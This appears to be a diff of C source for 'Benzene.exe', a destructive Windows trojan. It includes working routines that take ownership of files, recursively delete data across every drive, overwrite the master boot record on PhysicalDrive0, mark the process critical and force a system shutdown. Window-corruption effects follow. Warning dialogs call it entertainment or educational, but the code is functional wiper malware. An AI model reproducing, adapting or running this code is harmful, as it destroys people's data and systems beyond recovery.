| 382 |
+
Sleep( 10 );
|
| 383 |
+
}
|
| 384 |
+
|
| 385 |
+
while ( !ReadFile( hFile, szNewPath, MAX_PATH, &dwUnnamed, NULL ) )
|
| 386 |
+
{
|
| 387 |
+
Sleep( 10 );
|
| 388 |
+
}
|
| 389 |
+
|
| 390 |
+
CloseHandle( hFile );
|
| 391 |
+
|
| 392 |
+
while ( !DeleteFileW( szPath ) )
|
| 393 |
+
{
|
| 394 |
+
Sleep( 10 );
|
| 395 |
+
}
|
| 396 |
+
|
| 397 |
+
while ( !DeleteFileW( szNewPath ) )
|
| 398 |
+
{
|
| 399 |
+
Sleep( 10 );
|
| 400 |
+
}
|
| 401 |
+
|
| 402 |
+
if ( MessageBoxW( NULL, L"WARNING!\n\nYou have ran a Trojan known as Benzene.exe that has full capacity to delete all of your data and your operating system.\n\nBy continuing, you keep in mind that the creator will not be responsible for any damage caused by this trojan and it is highly recommended that you run this in a testing virtual machine where a snapshot has been made before execution for the sake of entertainment and analysis.\n\nAre you sure you want to run this?", L"Malware alert - Benzene.exe", MB_ICONWARNING | MB_YESNO ) != IDYES )
|
| 403 |
+
return FALSE;
|
| 404 |
+
if ( MessageBoxW( NULL, L"FINAL WARNING!!!\n\nThis Trojan has a lot of destructive potential. You will lose all of your data if you continue, and the creator will not be responsible for any of the damage caused. This is not meant to be malicious but simply for entertainment and educational purposes.\n\nAre you sure you want to continue? This is your final chance to stop this program from execution.", L"Malware alert - Benzene.exe", MB_ICONWARNING | MB_YESNO ) != IDYES )
|
| 405 |
+
return FALSE;
|
| 406 |
+
}
|
| 407 |
+
|
| 408 |
+
return TRUE;
|
| 409 |
+
}
|
| 410 |
+
|
| 411 |
+
BOOL
|
| 412 |
+
WINAPI
|
| 413 |
+
SetPrivilege(
|
| 414 |
+
_In_ HANDLE hToken,
|
| 415 |
+
_In_ PCWSTR szPrivilege,
|
| 416 |
+
_In_ BOOL bEnablePrivilege
|
| 417 |
+
)
|
| 418 |
+
{
|
| 419 |
+
TOKEN_PRIVILEGES tp;
|
| 420 |
+
LUID luid;
|
| 421 |
+
|
| 422 |
+
if ( !LookupPrivilegeValueW( NULL, szPrivilege, &luid ) )
|
| 423 |
+
{
|
| 424 |
+
return FALSE;
|
| 425 |
+
}
|
| 426 |
+
|
| 427 |
+
tp.PrivilegeCount = 1;
|
| 428 |
+
tp.Privileges[ 0 ].Luid = luid;
|
| 429 |
+
if ( bEnablePrivilege )
|
| 430 |
+
tp.Privileges[ 0 ].Attributes = SE_PRIVILEGE_ENABLED;
|
| 431 |
+
else
|
| 432 |
+
tp.Privileges[ 0 ].Attributes = 0;
|
| 433 |
+
|
| 434 |
+
if ( !AdjustTokenPrivileges( hToken, FALSE, &tp, sizeof( TOKEN_PRIVILEGES ), ( PTOKEN_PRIVILEGES )NULL, ( PDWORD )NULL ) )
|
| 435 |
+
{
|
| 436 |
+
return FALSE;
|
| 437 |
+
}
|
| 438 |
+
|
| 439 |
+
if ( GetLastError( ) == ERROR_NOT_ALL_ASSIGNED )
|
| 440 |
+
{
|
| 441 |
+
return FALSE;
|
| 442 |
+
}
|
| 443 |
+
|
| 444 |
+
return TRUE;
|
| 445 |
+
}
|
| 446 |
+
|
| 447 |
+
BOOL
|
| 448 |
+
WINAPI
|
| 449 |
+
TakeOwnership(
|
| 450 |
+
_In_ PWSTR szFile
|
| 451 |
+
)
|
| 452 |
+
{
|
| 453 |
+
BOOL bRetval = FALSE;
|
| 454 |
+
HANDLE hToken = NULL;
|
| 455 |
+
PSID pSIDAdmin = NULL, pSIDEveryone = NULL;
|
| 456 |
+
PACL pACL = NULL;
|
| 457 |
+
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY, SIDAuthNT = SECURITY_NT_AUTHORITY;
|
| 458 |
+
EXPLICIT_ACCESS ea[ NUM_ACES ] = { 0 };
|
| 459 |
+
DWORD dwRes;
|
| 460 |
+
|
| 461 |
+
if ( !AllocateAndInitializeSid( &SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &pSIDEveryone ) )
|
| 462 |
+
{
|
| 463 |
+
goto cleanup;
|
| 464 |
+
}
|
| 465 |
+
|
| 466 |
+
if ( !AllocateAndInitializeSid( &SIDAuthNT, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &pSIDAdmin ) )
|
| 467 |
+
{
|
| 468 |
+
goto cleanup;
|
| 469 |
+
}
|
| 470 |
+
|
| 471 |
+
ea[ 0 ].grfAccessPermissions = GENERIC_ALL;
|
| 472 |
+
ea[ 0 ].grfAccessMode = SET_ACCESS;
|
| 473 |
+
ea[ 0 ].grfInheritance = NO_INHERITANCE;
|
| 474 |
+
ea[ 0 ].Trustee.TrusteeForm = TRUSTEE_IS_SID;
|
| 475 |
+
ea[ 0 ].Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
|
| 476 |
+
ea[ 0 ].Trustee.ptstrName = ( PWSTR )pSIDEveryone;
|
| 477 |
+
|
| 478 |
+
ea[ 1 ].grfAccessPermissions = GENERIC_ALL;
|
| 479 |
+
ea[ 1 ].grfAccessMode = SET_ACCESS;
|
| 480 |
+
ea[ 1 ].grfInheritance = NO_INHERITANCE;
|
| 481 |
+
ea[ 1 ].Trustee.TrusteeForm = TRUSTEE_IS_SID;
|
| 482 |
+
ea[ 1 ].Trustee.TrusteeType = TRUSTEE_IS_GROUP;
|
| 483 |
+
ea[ 1 ].Trustee.ptstrName = ( PWSTR )pSIDAdmin;
|
| 484 |
+
|
| 485 |
+
if ( SetEntriesInAclW( NUM_ACES, ea, NULL, &pACL ) != ERROR_SUCCESS )
|
| 486 |
+
{
|
| 487 |
+
goto cleanup;
|
| 488 |
+
}
|
| 489 |
+
|
| 490 |
+
dwRes = SetNamedSecurityInfoW( szFile, SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pACL, NULL );
|
| 491 |
+
|
| 492 |
+
if ( dwRes == ERROR_SUCCESS )
|
| 493 |
+
{
|
| 494 |
+
bRetval = TRUE;
|
| 495 |
+
goto cleanup;
|
| 496 |
+
}
|
| 497 |
+
|
| 498 |
+
if ( dwRes != ERROR_ACCESS_DENIED )
|
| 499 |
+
{
|
| 500 |
+
goto cleanup;
|
| 501 |
+
}
|
| 502 |
+
|
| 503 |
+
if ( !OpenProcessToken( GetCurrentProcess( ), TOKEN_ADJUST_PRIVILEGES, &hToken ) )
|
| 504 |
+
{
|
| 505 |
+
goto cleanup;
|
| 506 |
+
}
|
| 507 |
+
|
| 508 |
+
if ( !SetPrivilege( hToken, SE_TAKE_OWNERSHIP_NAME, TRUE ) )
|
| 509 |
+
{
|
| 510 |
+
goto cleanup;
|
| 511 |
+
}
|
| 512 |
+
|
| 513 |
+
dwRes = SetNamedSecurityInfoW( szFile, SE_FILE_OBJECT, OWNER_SECURITY_INFORMATION, pSIDAdmin, NULL, NULL, NULL );
|
| 514 |
+
|
| 515 |
+
if ( dwRes != ERROR_SUCCESS )
|
| 516 |
+
{
|
| 517 |
+
goto cleanup;
|
| 518 |
+
}
|
| 519 |
+
|
| 520 |
+
if ( !SetPrivilege( hToken, SE_TAKE_OWNERSHIP_NAME, FALSE ) )
|
| 521 |
+
{
|
| 522 |
+
goto cleanup;
|
| 523 |
+
}
|
| 524 |
+
|
| 525 |
+
dwRes = SetNamedSecurityInfoW( szFile, SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pACL, NULL );
|
| 526 |
+
|
| 527 |
+
if ( dwRes == ERROR_SUCCESS )
|
| 528 |
+
{
|
| 529 |
+
bRetval = TRUE;
|
| 530 |
+
}
|
| 531 |
+
|
| 532 |
+
cleanup:
|
| 533 |
+
if ( pSIDAdmin ) FreeSid( pSIDAdmin );
|
| 534 |
+
if ( pSIDEveryone ) FreeSid( pSIDEveryone );
|
| 535 |
+
if ( pACL ) LocalFree( pACL );
|
| 536 |
+
if ( hToken ) CloseHandle( hToken );
|
| 537 |
+
|
| 538 |
+
return bRetval;
|
| 539 |
+
}
|
| 540 |
+
|
| 541 |
+
VOID
|
| 542 |
+
WINAPI
|
| 543 |
+
DriveMess( VOID )
|
| 544 |
+
{
|
| 545 |
+
WCHAR szTempDrives[ 512 ] = { 0 };
|
| 546 |
+
DWORD dwLength = GetLogicalDriveStringsW( 512, szTempDrives );
|
| 547 |
+
|
| 548 |
+
CloseHandle( CreateThread( NULL, 0, ( PTHREAD_START_ROUTINE )FileMess, szTempDrives, 0, NULL ) );
|
| 549 |
+
for ( DWORD i = 0; i < dwLength; i++ )
|
| 550 |
+
{
|
| 551 |
+
if ( !szTempDrives[ i ] )
|
| 552 |
+
{
|
| 553 |
+
CloseHandle( CreateThread( NULL, 0, ( PTHREAD_START_ROUTINE )FileMess, szTempDrives + ( i + 1 ) * sizeof( WCHAR ), 0, NULL ) );
|
| 554 |
+
}
|
| 555 |
+
}
|
| 556 |
+
}
|
| 557 |
+
|
| 558 |
+
BOOL
|
| 559 |
+
WINAPI
|
| 560 |
+
FileMess(
|
| 561 |
+
_In_ PWSTR szDirectory
|
| 562 |
+
)
|
| 563 |
+
{
|
| 564 |
+
TakeOwnership( szDirectory );
|
| 565 |
+
|
| 566 |
+
WCHAR szSearchDir[ MAX_PATH ] = { 0 };
|
| 567 |
+
lstrcpyW( szSearchDir, szDirectory );
|
| 568 |
+
lstrcatW( szSearchDir, L"*.*" );
|
| 569 |
+
|
| 570 |
+
WIN32_FIND_DATA findData;
|
| 571 |
+
HANDLE hSearch = FindFirstFileW( szSearchDir, &findData );
|
| 572 |
+
|
| 573 |
+
if ( hSearch == INVALID_HANDLE_VALUE )
|
| 574 |
+
return FALSE;
|
| 575 |
+
else do
|
| 576 |
+
{
|
| 577 |
+
if ( !lstrcmpW( findData.cFileName, L"." ) || !lstrcmpW( findData.cFileName, L".." ) ||
|
| 578 |
+
findData.dwFileAttributes & FILE_ATTRIBUTE_REPARSE_POINT )
|
| 579 |
+
{
|
| 580 |
+
continue;
|
| 581 |
+
}
|
| 582 |
+
|
| 583 |
+
WCHAR szPath[ MAX_PATH ] = { 0 };
|
| 584 |
+
lstrcpyW( szPath, szDirectory );
|
| 585 |
+
lstrcatW( szPath, findData.cFileName );
|
| 586 |
+
|
| 587 |
+
TakeOwnership( szPath );
|
| 588 |
+
|
| 589 |
+
if ( findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY )
|
| 590 |
+
{
|
| 591 |
+
lstrcatW( szPath, L"\\" );
|
| 592 |
+
FileMess( szPath );
|
| 593 |
+
RemoveDirectoryW( szPath );
|
| 594 |
+
}
|
| 595 |
+
else
|
| 596 |
+
{
|
| 597 |
+
if ( Xorshift32( ) % 24 )
|
| 598 |
+
{
|
| 599 |
+
DeleteFileW( szPath );
|
| 600 |
+
}
|
| 601 |
+
else
|
| 602 |
+
{
|
| 603 |
+
ShellExecuteW( NULL, L"open", szPath, NULL, szDirectory, SW_SHOW );
|
| 604 |
+
}
|
| 605 |
+
}
|
| 606 |
+
}
|
| 607 |
+
while ( FindNextFileW( hSearch, &findData ) );
|
| 608 |
+
|
| 609 |
+
FindClose( hSearch );
|
| 610 |
+
RemoveDirectoryW( szDirectory );
|
| 611 |
+
|
| 612 |
+
return TRUE;
|
| 613 |
+
}
|
| 614 |
+
|
| 615 |
+
const size_t code1_len = sizeof(pccMbrData);
|
| 616 |
+
|
| 617 |
+
|
| 618 |
+
BOOL
|
| 619 |
+
WINAPI
|
| 620 |
+
OverwriteBoot( VOID )
|
| 621 |
+
{
|
| 622 |
+
HANDLE hDrive;
|
| 623 |
+
DWORD dwWrittenBytes;
|
| 624 |
+
BOOL bSuccess;
|
| 625 |
+
|
| 626 |
+
hDrive = CreateFileW( L"\\\\.\\PhysicalDrive0", GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL );
|
| 627 |
+
|
| 628 |
+
unsigned char* bootcode = (unsigned char*)LocalAlloc(LMEM_ZEROINIT, 65536);
|
| 629 |
+
|
| 630 |
+
unsigned int i = 0;
|
| 631 |
+
for (; i < code1_len; i++)
|
| 632 |
+
*(bootcode + i) = *(pccMbrData + i);
|
| 633 |
+
|
| 634 |
+
if ( hDrive == INVALID_HANDLE_VALUE )
|
| 635 |
+
{
|
| 636 |
+
MessageBoxW( NULL, L"I failed to infect your computer and I am a failure.\n...\nI hope you don't mind.\n(God, this is so embarrassing...)", L"Benzene.exe", MB_OK | MB_ICONERROR );
|
| 637 |
+
return FALSE;
|
| 638 |
+
}
|
| 639 |
+
|
| 640 |
+
bSuccess = WriteFile(hDrive, bootcode, 65536, &dwWrittenBytes, NULL);
|
| 641 |
+
|
| 642 |
+
if ( !bSuccess )
|
| 643 |
+
{
|
| 644 |
+
MessageBoxW( NULL, L"Uhm... Why can't I overwrite your bootloader?\nOkay, well, I guess I can die now.", L"Benzene.exe", MB_OK | MB_ICONERROR );
|
| 645 |
+
CloseHandle( hDrive );
|
| 646 |
+
|
| 647 |
+
return FALSE;
|
| 648 |
+
}
|
| 649 |
+
|
| 650 |
+
for ( ;; WriteFile( hDrive, bootcode, 65536, &dwWrittenBytes, NULL ) );
|
| 651 |
+
}
|
| 652 |
+
|
| 653 |
+
BOOL
|
| 654 |
+
WINAPI
|
| 655 |
+
ForceShutdownComputer( VOID )
|
| 656 |
+
{
|
| 657 |
+
NTSTATUS( NTAPI * RtlAdjustPrivilege )( ULONG ulPrivilege, BOOLEAN bEnable, BOOLEAN bCurrentThread, PBOOLEAN pbEnabled );
|
| 658 |
+
NTSTATUS( NTAPI * NtShutdownSystem )( _In_ SHUTDOWN_ACTION Action );
|
| 659 |
+
NTSTATUS( NTAPI * NtSetSystemPowerState )( _In_ POWER_ACTION SystemAction, _In_ SYSTEM_POWER_STATE MinSystemState, _In_ ULONG Flags );
|
| 660 |
+
NTSTATUS ntReturnValue;
|
| 661 |
+
HMODULE hNtDll;
|
| 662 |
+
BOOLEAN bUnused;
|
| 663 |
+
BOOL bSuccess;
|
| 664 |
+
|
| 665 |
+
hNtDll = LoadLibraryW( L"ntdll.dll" );
|
| 666 |
+
RtlAdjustPrivilege = ( PVOID )GetProcAddress( hNtDll, "RtlAdjustPrivilege" );
|
| 667 |
+
NtSetSystemPowerState = ( PVOID )GetProcAddress( hNtDll, "NtSetSystemPowerState" );
|
| 668 |
+
NtShutdownSystem = ( PVOID )GetProcAddress( hNtDll, "NtShutdownSystem" );
|
| 669 |
+
|
| 670 |
+
if ( RtlAdjustPrivilege )
|
| 671 |
+
{
|
| 672 |
+
ntReturnValue = RtlAdjustPrivilege( 19 /* SeShutdownPrivilege */, TRUE, FALSE, &bUnused );
|
| 673 |
+
|
| 674 |
+
if ( ntReturnValue )
|
| 675 |
+
{
|
| 676 |
+
MessageBoxW( NULL, L"I'm not allowed to adjust my debug privilege, somehow.\nYou're doing something here, aren't you?!", L"Benzene.exe", MB_OK | MB_ICONERROR );
|
| 677 |
+
return FALSE;
|
| 678 |
+
}
|
| 679 |
+
}
|
| 680 |
+
|
| 681 |
+
if ( NtSetSystemPowerState )
|
| 682 |
+
{
|
| 683 |
+
ntReturnValue = NtSetSystemPowerState( PowerActionShutdownOff, PowerSystemShutdown,
|
| 684 |
+
SHTDN_REASON_MAJOR_HARDWARE | SHTDN_REASON_MINOR_POWER_SUPPLY );
|
| 685 |
+
|
| 686 |
+
if ( !ntReturnValue )
|
| 687 |
+
{
|
| 688 |
+
return TRUE;
|
| 689 |
+
}
|
| 690 |
+
}
|
| 691 |
+
|
| 692 |
+
if ( NtShutdownSystem )
|
| 693 |
+
{
|
| 694 |
+
ntReturnValue = NtShutdownSystem( ShutdownPowerOff );
|
| 695 |
+
|
| 696 |
+
if ( !ntReturnValue )
|
| 697 |
+
{
|
| 698 |
+
return TRUE;
|
| 699 |
+
}
|
| 700 |
+
}
|
| 701 |
+
|
| 702 |
+
bSuccess = ExitWindowsEx( EWX_POWEROFF, EWX_FORCE );
|
| 703 |
+
|
| 704 |
+
if ( !bSuccess )
|
| 705 |
+
{
|
| 706 |
+
MessageBoxW( NULL, L"I can't power off the computer.\nYou're lucky this time...", L"Benzene.exe", MB_OK | MB_ICONERROR );
|
| 707 |
+
|
| 708 |
+
return FALSE;
|
| 709 |
+
}
|
| 710 |
+
|
| 711 |
+
return TRUE;
|
| 712 |
+
}
|
| 713 |
+
|
| 714 |
+
BOOL
|
| 715 |
+
WINAPI
|
| 716 |
+
SetProcessCritical( VOID )
|
| 717 |
+
{
|
| 718 |
+
NTSTATUS( NTAPI * RtlAdjustPrivilege )( ULONG ulPrivilege, BOOLEAN bEnable, BOOLEAN bCurrentThread, PBOOLEAN pbEnabled );
|
| 719 |
+
NTSTATUS( NTAPI * RtlSetProcessIsCritical )( BOOLEAN bNew, PBOOLEAN pbOld, BOOLEAN bNeedScb );
|
| 720 |
+
NTSTATUS ntReturnValue;
|
| 721 |
+
ULONG ulBreakOnTermination;
|
| 722 |
+
BOOLEAN bUnused;
|
| 723 |
+
HMODULE hNtDll;
|
| 724 |
+
|
| 725 |
+
hNtDll = LoadLibraryW( L"ntdll.dll" );
|
| 726 |
+
RtlAdjustPrivilege = ( PVOID )GetProcAddress( hNtDll, "RtlAdjustPrivilege" );
|
| 727 |
+
RtlSetProcessIsCritical = ( PVOID )GetProcAddress( hNtDll, "RtlSetProcessIsCritical" );
|
| 728 |
+
|
| 729 |
+
if ( RtlAdjustPrivilege )
|
| 730 |
+
{
|
| 731 |
+
ntReturnValue = RtlAdjustPrivilege( 20 /* SeDebugPrivilege */, TRUE, FALSE, &bUnused );
|
| 732 |
+
|
| 733 |
+
if ( ntReturnValue )
|
| 734 |
+
{
|
| 735 |
+
MessageBoxW( NULL, L"I can't adjust my debug privileges... somehow.", L"Benzene.exe", MB_OK | MB_ICONERROR );
|
| 736 |
+
|
| 737 |
+
return FALSE;
|
| 738 |
+
}
|
| 739 |
+
}
|
| 740 |
+
else
|
| 741 |
+
{
|
| 742 |
+
MessageBoxW( NULL, L"Nope, can't find RtlAdjustPrivilege... What the hell is this?", L"Benzene.exe", MB_OK | MB_ICONERROR );
|
| 743 |
+
|
| 744 |
+
return FALSE;
|
| 745 |
+
}
|
| 746 |
+
|
| 747 |
+
if ( RtlSetProcessIsCritical )
|
| 748 |
+
{
|
| 749 |
+
ulBreakOnTermination = 1;
|
| 750 |
+
ntReturnValue = RtlSetProcessIsCritical( TRUE, NULL, FALSE );
|
| 751 |
+
|
| 752 |
+
if ( ntReturnValue )
|
| 753 |
+
{
|
| 754 |
+
MessageBoxW( NULL, L"Uhm... It's not letting me be a critical process... This isn't right!", L"Benzene.exe", MB_OK | MB_ICONERROR );
|
| 755 |
+
|
| 756 |
+
return FALSE;
|
| 757 |
+
}
|
| 758 |
+
}
|
| 759 |
+
else
|
| 760 |
+
{
|
| 761 |
+
MessageBoxW( NULL, L"Please help me out, I can't find RtlSetProcessIsCritical. Do you know where it is?", L"Benzene.exe", MB_OK | MB_ICONERROR );
|
| 762 |
+
|
| 763 |
+
return FALSE;
|
| 764 |
+
}
|
| 765 |
+
|
| 766 |
+
return TRUE;
|
| 767 |
+
}
|
src/Benzene-main/Destructive/Benzene/destruction.h
ADDED
|
@@ -0,0 +1,37 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#pragma once
|
| 2 |
+
#include "benzene.h"
|
| 3 |
+
|
| 4 |
+
#define NUM_ACES 2
|
| 5 |
+
|
| 6 |
+
typedef enum _SHUTDOWN_ACTION
|
| 7 |
+
{
|
| 8 |
+
ShutdownNoReboot,
|
| 9 |
+
ShutdownReboot,
|
| 10 |
+
ShutdownPowerOff
|
| 11 |
+
} SHUTDOWN_ACTION, *PSHUTDOWN_ACTION;
|
| 12 |
+
|
| 13 |
+
BOOL
|
| 14 |
+
WINAPI
|
| 15 |
+
ExecuteDropper( VOID );
|
| 16 |
+
|
| 17 |
+
VOID
|
| 18 |
+
WINAPI
|
| 19 |
+
DriveMess( VOID );
|
| 20 |
+
|
| 21 |
+
BOOL
|
| 22 |
+
WINAPI
|
| 23 |
+
FileMess(
|
| 24 |
+
_In_ PWSTR szDirectory
|
| 25 |
+
);
|
| 26 |
+
|
| 27 |
+
BOOL
|
| 28 |
+
WINAPI
|
| 29 |
+
OverwriteBoot( VOID );
|
| 30 |
+
|
| 31 |
+
BOOL
|
| 32 |
+
WINAPI
|
| 33 |
+
ForceShutdownComputer( VOID );
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|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#include "benzene.h"
|
| 2 |
+
|
| 3 |
+
VOID
|
| 4 |
+
GetRandomPath(
|
| 5 |
+
_Inout_ PWSTR szRandom,
|
| 6 |
+
_In_ INT nLength
|
| 7 |
+
)
|
| 8 |
+
{
|
| 9 |
+
for ( INT i = 0; i < nLength; i++ )
|
| 10 |
+
{
|
| 11 |
+
szRandom[ i ] = ( WCHAR )( Xorshift32( ) % ( 0x9FFF - 0x4E00 + 1 ) + 0x4E00 );
|
| 12 |
+
}
|
| 13 |
+
}
|
| 14 |
+
|
| 15 |
+
BOOL
|
| 16 |
+
CALLBACK
|
| 17 |
+
MsgBoxRefreshWndProc(
|
| 18 |
+
_In_ HWND hwnd,
|
| 19 |
+
_In_ LPARAM lParam
|
| 20 |
+
)
|
| 21 |
+
{
|
| 22 |
+
UNREFERENCED_PARAMETER( lParam );
|
| 23 |
+
RedrawWindow( hwnd, NULL, NULL, RDW_ERASE | RDW_INVALIDATE );
|
| 24 |
+
return TRUE;
|
| 25 |
+
}
|
| 26 |
+
|
| 27 |
+
BOOL
|
| 28 |
+
CALLBACK
|
| 29 |
+
MsgBoxWndProc(
|
| 30 |
+
_In_ HWND hwnd,
|
| 31 |
+
_In_ LPARAM lParam
|
| 32 |
+
)
|
| 33 |
+
{
|
| 34 |
+
UNREFERENCED_PARAMETER( lParam );
|
| 35 |
+
EnableWindow( hwnd, FALSE );
|
| 36 |
+
SetWindowTextW( hwnd, L"Terrible decision." );
|
| 37 |
+
return TRUE;
|
| 38 |
+
}
|
| 39 |
+
|
| 40 |
+
VOID
|
| 41 |
+
WINAPI
|
| 42 |
+
MsgBoxCorruptionThread(
|
| 43 |
+
_In_ HWND hwndMsgBox
|
| 44 |
+
)
|
| 45 |
+
{
|
| 46 |
+
BITMAPINFO bmi = { 0 };
|
| 47 |
+
HANDLE hHeap;
|
| 48 |
+
PRGBQUAD prgbPixels;
|
| 49 |
+
HDC hdcMsgBox;
|
| 50 |
+
HDC hdcTempMsgBox;
|
| 51 |
+
HBITMAP hbmMsgBox;
|
| 52 |
+
RECT rcMsgBox;
|
| 53 |
+
INT w;
|
| 54 |
+
INT h;
|
| 55 |
+
|
| 56 |
+
GetWindowRect( hwndMsgBox, &rcMsgBox );
|
| 57 |
+
w = rcMsgBox.right - rcMsgBox.left;
|
| 58 |
+
h = rcMsgBox.bottom - rcMsgBox.top;
|
| 59 |
+
|
| 60 |
+
bmi.bmiHeader.biSize = sizeof( BITMAPINFO );
|
| 61 |
+
bmi.bmiHeader.biBitCount = 32;
|
| 62 |
+
bmi.bmiHeader.biPlanes = 1;
|
| 63 |
+
bmi.bmiHeader.biWidth = w;
|
| 64 |
+
bmi.bmiHeader.biHeight = h;
|
| 65 |
+
|
| 66 |
+
hHeap = GetProcessHeap( );
|
| 67 |
+
prgbPixels = ( PRGBQUAD )HeapAlloc( hHeap, 0, w * h * sizeof( RGBQUAD ) );
|
| 68 |
+
|
| 69 |
+
hdcMsgBox = GetDC( hwndMsgBox );
|
| 70 |
+
hdcTempMsgBox = CreateCompatibleDC( hdcMsgBox );
|
| 71 |
+
hbmMsgBox = CreateDIBSection( hdcMsgBox, &bmi, 0, &prgbPixels, NULL, 0 );
|
| 72 |
+
SelectObject( hdcTempMsgBox, hbmMsgBox );
|
| 73 |
+
|
| 74 |
+
for ( ;; )
|
| 75 |
+
{
|
| 76 |
+
for ( INT32 i = 0; i < w * h; i++ )
|
| 77 |
+
{
|
| 78 |
+
prgbPixels[ i ].rgb = ( Xorshift32( ) % 0x100 ) * 0x010101;
|
| 79 |
+
}
|
| 80 |
+
|
| 81 |
+
BitBlt( hdcMsgBox, 0, 0, w, h, hdcTempMsgBox, 0, 0, SRCCOPY );
|
| 82 |
+
EnumChildWindows( hwndMsgBox, MsgBoxRefreshWndProc, 0 );
|
| 83 |
+
Sleep( 10 );
|
| 84 |
+
}
|
| 85 |
+
}
|
| 86 |
+
|
| 87 |
+
LRESULT
|
| 88 |
+
CALLBACK
|
| 89 |
+
MsgBoxHookProc(
|
| 90 |
+
_In_ INT nCode,
|
| 91 |
+
_In_ WPARAM wParam,
|
| 92 |
+
_In_ LPARAM lParam
|
| 93 |
+
)
|
| 94 |
+
{
|
| 95 |
+
HWND hwndMsgBox;
|
| 96 |
+
|
| 97 |
+
if ( nCode == HCBT_ACTIVATE )
|
| 98 |
+
{
|
| 99 |
+
hwndMsgBox = ( HWND )wParam;
|
| 100 |
+
|
| 101 |
+
ShowWindow( hwndMsgBox, SW_SHOW );
|
| 102 |
+
|
| 103 |
+
EnumChildWindows( hwndMsgBox, MsgBoxWndProc, 0 );
|
| 104 |
+
CreateThread( NULL, 0, ( PTHREAD_START_ROUTINE )MsgBoxCorruptionThread, hwndMsgBox, 0, NULL );
|
| 105 |
+
|
| 106 |
+
return 0;
|
| 107 |
+
}
|
| 108 |
+
|
| 109 |
+
return CallNextHookEx( hMsgHook, nCode, wParam, lParam );
|
| 110 |
+
}
|
| 111 |
+
|
| 112 |
+
VOID
|
| 113 |
+
WINAPI
|
| 114 |
+
MessageBoxThread( VOID )
|
| 115 |
+
{
|
| 116 |
+
hMsgHook = SetWindowsHookExW( WH_CBT, MsgBoxHookProc, NULL, GetCurrentThreadId( ) );
|
| 117 |
+
MessageBoxW( NULL, L"Terrible decision.", L"Terrible decision.", MB_ABORTRETRYIGNORE | MB_ICONERROR );
|
| 118 |
+
UnhookWindowsHookEx( hMsgHook );
|
| 119 |
+
}
|
| 120 |
+
|
| 121 |
+
BOOL
|
| 122 |
+
CALLBACK
|
| 123 |
+
GlobalWndProc(
|
| 124 |
+
_In_ HWND hwnd,
|
| 125 |
+
_In_ LPARAM lParam
|
| 126 |
+
)
|
| 127 |
+
{
|
| 128 |
+
BOOL bParent;
|
| 129 |
+
HDC hdc;
|
| 130 |
+
RECT rcOriginal;
|
| 131 |
+
RECT rc;
|
| 132 |
+
INT w;
|
| 133 |
+
INT h;
|
| 134 |
+
|
| 135 |
+
Sleep( 10 );
|
| 136 |
+
|
| 137 |
+
WCHAR szWndText[ 256 ];
|
| 138 |
+
for ( INT i = 0; i < 256; i++ )
|
| 139 |
+
{
|
| 140 |
+
szWndText[ i ] = ( WCHAR )( ( Xorshift32( ) % 256 ) + 1 );
|
| 141 |
+
}
|
| 142 |
+
|
| 143 |
+
SetWindowTextW( hwnd, szWndText );
|
| 144 |
+
|
| 145 |
+
GetWindowRect( hwnd, &rcOriginal );
|
| 146 |
+
|
| 147 |
+
rc = rcOriginal;
|
| 148 |
+
|
| 149 |
+
rc.left += Xorshift32( ) % 3 - 1;
|
| 150 |
+
rc.top += Xorshift32( ) % 3 - 1;
|
| 151 |
+
rc.right += Xorshift32( ) % 3 - 1;
|
| 152 |
+
rc.bottom += Xorshift32( ) % 3 - 1;
|
| 153 |
+
|
| 154 |
+
w = rc.right - rc.left;
|
| 155 |
+
h = rc.bottom - rc.top;
|
| 156 |
+
|
| 157 |
+
MoveWindow( hwnd, rc.left, rc.top, w, h, TRUE );
|
| 158 |
+
|
| 159 |
+
hdc = GetDC( hwnd );
|
| 160 |
+
|
| 161 |
+
if ( Xorshift32( ) % 2 )
|
| 162 |
+
{
|
| 163 |
+
BitBlt( hdc, rc.left, rc.top, w, h, hdc, rcOriginal.left, rcOriginal.top, ( Xorshift32( ) % 2 ) ? SRCAND : SRCPAINT );
|
| 164 |
+
}
|
| 165 |
+
else
|
| 166 |
+
{
|
| 167 |
+
w = rcOriginal.right - rcOriginal.left;
|
| 168 |
+
h = rcOriginal.bottom - rcOriginal.top;
|
| 169 |
+
